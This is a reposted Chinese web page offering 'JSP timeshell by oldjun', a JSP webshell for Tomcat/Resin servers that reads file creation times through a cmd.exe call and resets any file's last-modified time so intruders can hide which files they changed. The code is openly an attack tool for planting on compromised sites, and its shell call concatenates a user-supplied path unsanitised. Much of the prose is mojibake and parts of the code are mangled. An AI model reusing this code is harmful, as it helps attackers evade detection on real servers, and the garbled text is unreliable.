JSP 修改文件时间的WEBSHELL

番茄系统家园 · 2022-01-25 08:34:13

JSP ޸ļʱWEBSHELL
ܶվĹԱͨ鿴ļ޸ʱ䶨λֺµţ޸ļĴ޸ʱЧԤŵй¶
о£JSPֻṩ޸ġļ޸ʱ䡱Ľӿڣȴûṩ޸ġļʱ䡱Ľӿڣòֻ޸ġļ޸ʱ kj021320JSP SHELLܣֻ޸գRESIN 2.1.9 вkj021320ǸSHELLǾԼдСshell
Ҫܣ
1.ļʱԲ鿴޸ʱ봴ʱ䣻
2.ļ޸ʱ޸ģȷ룻
£
(Apache Tomcat/6.0.18ͨ)

ƴ:





JSP timeshell by oldjun


JSP timeshell by oldjun


public static String getFileCreateDate(File _file) {
File file = _file;
try {
Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir \"" + file.getAbsolutePath() + "\" /tc");
BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream()));
for (int i = 0; i br.readLine();
}
String stuff = br.readLine();
StringTokenizer st = new StringTokenizer(stuff);
String dateC = st.nextToken();
String time = st.nextToken();
String datetime = dateC.concat(" "+time);
br.close();
return datetime;
} catch (Exception e) {
return null;
}
}
String folderReplace(String folder){
return folder.replace('\\','/');
}
%>
String action = null;
if (request.getParameter("action") == null)
action = "main";
else
action = (String)request.getParameter("action");
if (action.equals("main")) {
%>

filepath:
(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp)



}else if (action.equals("getinfo")) {
String filepath = folderReplace(request.getParameter("file"));
File file = new File(filepath);
if(!file.exists()){
out.println("");
}
%>
filepath:



lastModifiedtime:



Createtime:

String Createtime=getFileCreateDate(file);
out.println(Createtime);
%>

now:

Date myDate = new Date();
out.println(myDate.toLocaleString());
%>

year
month
day
hour
minute
second




}else if (action.equals("change")) {
String url="?action=main";
String filepath = folderReplace(request.getParameter("file"));
String year = request.getParameter("year");
String month = request.getParameter("month");
String day = request.getParameter("day");
String hour = request.getParameter("hour");
String min = request.getParameter("min");
String sec = request.getParameter("sec");
File file = new File(filepath);
Calendar calendar=Calendar.getInstance();
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day),Integer.parseInt(hour),Integer.parseInt(min),Integer.parseInt(sec));
if(file.setLastModified(calendar.getTimeInMillis()))
out.println("");
else
out.println("");
}
%>


免责声明: 凡标注转载/编译字样内容并非本站原创,转载目的在于传递更多信息,并不代表本网赞同其观点和对其真实性负责。如果你觉得本文好,欢迎推荐给朋友阅读;本文链接: https://m.nndssk.com/wlaq/1720373HKdtq.html
猜你喜欢
最新应用
热门应用